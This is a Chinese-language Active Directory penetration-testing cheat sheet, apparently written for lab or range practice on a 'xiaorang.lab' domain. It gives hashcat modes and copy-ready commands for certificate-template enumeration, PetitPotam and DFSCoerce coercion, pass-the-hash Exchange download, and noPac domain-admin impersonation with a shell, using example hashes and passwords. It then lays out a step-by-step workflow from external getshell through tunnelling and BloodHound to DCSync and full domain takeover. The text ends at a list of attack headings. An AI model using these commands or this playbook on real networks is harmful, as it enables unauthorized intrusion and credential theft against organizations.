18200:对应 NetNTLMv2哈希。通常用于破解从网络捕获的NTLMv2哈希。
13100:对应 Kerberos 5 TGS-REP etype 23哈希。通常用于破解从Kerberos协议中提取的TGS票据哈希。
1000::对应NTLM哈希。通常用于本地或网络身份验证。
5600:对应NetNTLMv1哈希。通常用于破解从 NTLM 身份验证协议中捕获的挑战-响应哈希
7500:对应Kerberos 5 AS-REP etype 23哈希。通常用于破解从Kerberos协议中提取的 AS-REP响应。
19600:对应Kerberos 5 TGS-REP etype 17 (AES256)哈希。通常用于破解从Kerberos协议中提取的 TGS票据。
certipy-ad
用于查找 Active Directory 环境中易受攻击的证书模板。
下载:kali自带,https://www.kali.org/tools/certipy-ad/
1 2 3 4 5 proxychains certipy-ad find -u <认证的用户名(UPN 格式)> -password <密码> -dc-ip <域控制器ip> -vulnerable -stdout //-vulnerable:仅显示易受攻击的证书模板。 //-stdout:将结果输出到标准输出(终端)。 //例子 proxychains certipy-ad find -u '[email protected] ' -password 'MyPass2@@6' -dc-ip 172.22.9.7 -vulnerable -stdout
pthexchange
通过NTLM或用户密码身份验证从目标靶机下载文件。
下载:https://github.com/Jumbo-WJB/PTH_Exchange
1 2 3 4 5 //通过NTLM身份验证 proxychains -q python3 pthexchange.py --target https://mail.exchange.com --username <用户名> --password '<NTLM哈希>' --action Download //--action Download:指定操作为下载文件。 //例子 proxychains -q python3 pthexchange.py --target https://172.22.3.9/ --username Lumia --password '00000000000000000000000000000000:862976f8b23c13529c2fb1428e710296' --action Download
dfscoerce
对目标服务器进行 DFS(分布式文件系统)强制认证攻击。
下载:https://github.com/Wh04m1001/DFSCoerce
1 2 3 4 //通过NTLM身份验证 proxychains -q python3 dfscoerce.py -u <用户名> -hashes <NTLM哈希> -d <目标域> <目标机器名> <目标主机ip> //例子 proxychains -q python3 dfscoerce.py -u win19$ -hashes :6796da512c8e33fa4e0860d95643ae69 -d xiaorang.lab win19 172.22.4.7
PetitPotam
对目标域控制器(DC)进行 PetitPotam攻击
下载:https://github.com/topotam/PetitPotam
1 2 3 4 5 6 7 8 9 10 //通过NTLM身份验证 proxychains -q python3 PetitPotam.py -u <用户名> -hashes <NTLM哈希> -d <目标域> -dc-ip <目标域控制器ip> <发起攻击的计算机名> <目标域控制器的计算机名> //例子 proxychains -q python3 PetitPotam.py -u 'WIN19$' -hashes :6796da512c8e33fa4e0860d95643ae69 -d xiaorang.lab -dc-ip 172.22.4.7 WIN19.xiaorang.lab DC01.xiaorang.lab //通过用户密码身份验证 proxychains -q python3 PetitPotam.py -u <用户名> -p <密码> -d <目标域> ubuntu@80/pwn.txt <目标主机ip> //例子 proxychains -q python3 PetitPotam.py -u yangmei -p 'xrihGHgoNZQ' -d xiaorang.lab ubuntu@80/pwn.txt 172.22.11.26
netexec
netexec:用于执行各种网络协议和服务的工具,通常用于渗透测试和安全评估。NetExec是CrackMapExec的延续具有CrackMapExec的全部功能。
下载:https://www.kali.org/tools/netexec/
1 2 3 4 5 6 7 8 9 //扫描WebDAV服务 proxychains -q netexec <服务> <C段> -u <用户名> -p <密码> -d <目标域> -M <模块> //例子 proxychains -q netexec smb 172.22.11.0/24 -u yangmei -p xrihGHgoNZQ -d xiaorang.lab -M webdav //扫描petitpotam认证 proxychains -q netexec smb 172.22.11.0/24 -u yangmei -p xrihGHgoNZQ -d xiaorang.lab -M coerce_plus //coerce_plus是CrackMapExec中petitpotam模块的替代。
nopac
利用CVE-2021-42278和CVE-2021-42287冒充标准域用户的 DA
下载:https://github.com/Ridter/noPac
1 2 3 4 5 6 7 proxychains -q python3 noPac.py <目标域>/<用户> -hashes <NTLM哈希> -dc-ip <目标域控制器ip> --impersonate Administrator -create-child -use-ldap -shell //--impersonate:指定要冒充的用户。 //-create-child:创建子票据,用于进一步的权限提升。 //-use-ldap:使用LDAP协议进行身份验证和票据请求。 //-shell:获取交互式shell访问。 //例子 proxychains -q python3 noPac.py xiaorang.lab/zhanghui -hashes ':1232126b24cdf8c9bd2f788a9d7c7ed1' -dc-ip 172.22.11.6 --impersonate Administrator -create-child -use-ldap -shell
域内渗透方式 DCSync攻击
AD域渗透中常用的凭据窃取手段。默认情况下,域内不同DC每隔15分钟会进行一次数据同步,当一个域控制器(DC 1)想从其他域控制器(DC 2)同步数据时,发起请求的一方会通过目录复制协议(MS- DRSR)来对另外一台域控中的域用户密码进行复制。DCSync就是利用这个原理,“模拟”DC向真实DC发送数据同步请求,获取用户凭据数据。
攻击前提: 默认情况下,必须获得以下任一用户的权限
Administrators 组内的用户
Domain Admins 组内的用户
Enterprise Admins 组内的用户域控制器的计算机帐户
攻击手段
利用kiwi或者mimikatz的DCSync模块提取域控Hash
提权方式 二、渗透基本流程 外网 外网踩点(信息搜集) 目的:通过踩点理清当前目标的网络信息等,便于我们进一步外网打点getshell
当前目标。
搜集内容:
开放的端口及服务,主要查看开启web服务的端口。
网站是否有CMS,如果有CMS查看其版本并在网上查找该版本可能存在的漏洞(平时多审计一些CMS运气好可能就碰上了)。
网站是否存在一些基础漏洞(能用漏扫工具扫出来的)。
网站的框架,一些常见的如:Thinkphp、tomcat、shiro框架等,可以通过网站目录结构判断。网上搜索相关漏洞,有些可以利用对应的工具来检测。
搜集方式:
端口:fscan、nmap
目录:dirsearch
扫漏:fscan(推荐)、nmap(次推)、xray、nuclei、afrog、goby(不推荐)
外网打点 目的:上面进行踩点完需要进行打点进行getshell控制服务器,便于进一步渗透内网。
打点方式:
端口:web端口就自行进入查看,21端口可以尝试ftp匿名访问,一些常见数据库的端口如:MySQL :3306、Redis:6379、Oracle:1521、neo4j:7687(管理:7474)。
数据库:MySQL用sqlmap先尝试正常都可以爆,其他的就网上找相关漏洞。
CMS:上面搜集到的CMS存在的漏洞一个一个尝试。
框架:网上搜索对应版本漏洞,Thinkphp和shiro等可以用对应的工具打。
提权(看情况) 目的:打靶场有时候获取flag需要管理员权限才能查看,在实战中机密文件需要管理员才能查看。
方式:并到下面一起讲。
代理 搭建隧道(内网穿透) 目的:渗透内网时需要访问到内网中的设备及服务,利用内网穿透我们可以实现外部网络访问内网。
方式:
反向:frp、chisel、venom、suo5
正向:gost
多级:venom
内网 信息搜集 目的:对内网中的网络服务进行探测搜集,理清内网中的网络架构,便于后续打通内网。
搜集内容:
内网中有几台设备。
设备的名称和系统。
设备的漏洞,最常见的就是永恒之蓝。
设备开放端口,主要查看开启web服务的端口。
搜集步骤:
ifconfig/ipconfig(如果net-tools没有安装,上传CDK后运行或者用netstat -ano
)
上传fscan进行扫描,获取设备名和系统,以及可能存在的漏洞
配置完proxychains后用nmap进行扫描(基本用fscan就够了)
内网渗透 目的:打通内网,获取整个内网中所有设备的权限。
分类:
对比:
特性
域环境渗透
非域环境渗透
管理方式
集中化管理(AD)
分散化管理
认证机制
Kerberos、NTLM
本地账户、NTLM
攻击重点
域控制器、组策略、信任关系
本地账户、共享资源、服务漏洞
横向移动
通过域内信任关系和组策略
通过本地账户和共享资源
常用工具
BloodHound、Mimikatz、Impacket工具箱等
Metasploit、Cobalt Strike(CS)等
注:通常可以通过非域环境渗透得到域环境里的设备的相关信息(如:域环境的用户等),从而进行域环境渗透。
非域环境渗透 特点:
分散管理:每台计算机独立管理用户和权限。
本地账户:用户账户和权限存储在本地计算机上。
无集中认证:没有域控制器,认证和授权由每台计算机独立处理。
资源共享:通过共享文件夹或本地账户实现资源共享。
步骤:
优先上面fscan扫描出来的漏洞。
如果没有扫描出漏洞,查看扫出来的web服务的端口。
查找网站存在的漏洞,进行getshell。
进行提权。
通过共享资源获取其他目标的相关信息,如:设备登录的用户和密码、其他网段的信息等等。
登录其他设备进行提权(如果是其他网段还需再做一次信息搜集)。
域环境渗透 特点:
集中化管理:所有用户、计算机、权限等都通过域控制器(DC)集中管理。
域内横向移动:获得域控即可访问域内的所有资源。
组策略:通过组策略(GPO)统一管理域内计算机和用户的配置。
信任关系:域之间可以建立信任关系,允许跨域访问资源。
步骤:
还是一样优先攻击fscan扫出来的漏洞。
如果没有扫描出漏洞,查看扫出来的web服务的端口。
查找网站存在的漏洞,进行getshell。
上传SharpHound或者直接在kali里用BloodHound-python来获取域环境的信息。
将结果丢到BloodHound分析域中的委派、用户之间的权限关系和到达admin最短路径等等
同上一步,也可直接用ADinfo来分析委派。
根据分析来选择攻击方式
通过委派分析结果对应的打约束委派攻击、非约束委派攻击和基于资源的约束委派攻击。
如果有权限关系,如:DCSync、WriteDacl等,利用相应工具来攻击。
权限提升,如果有到达admin最短路径,那么优先利用该用户来获取域管的Hash。
获取域管Hash。
横向移动,获取整个域的控制。
三、一些常见攻击手段
PtH
PtT
委派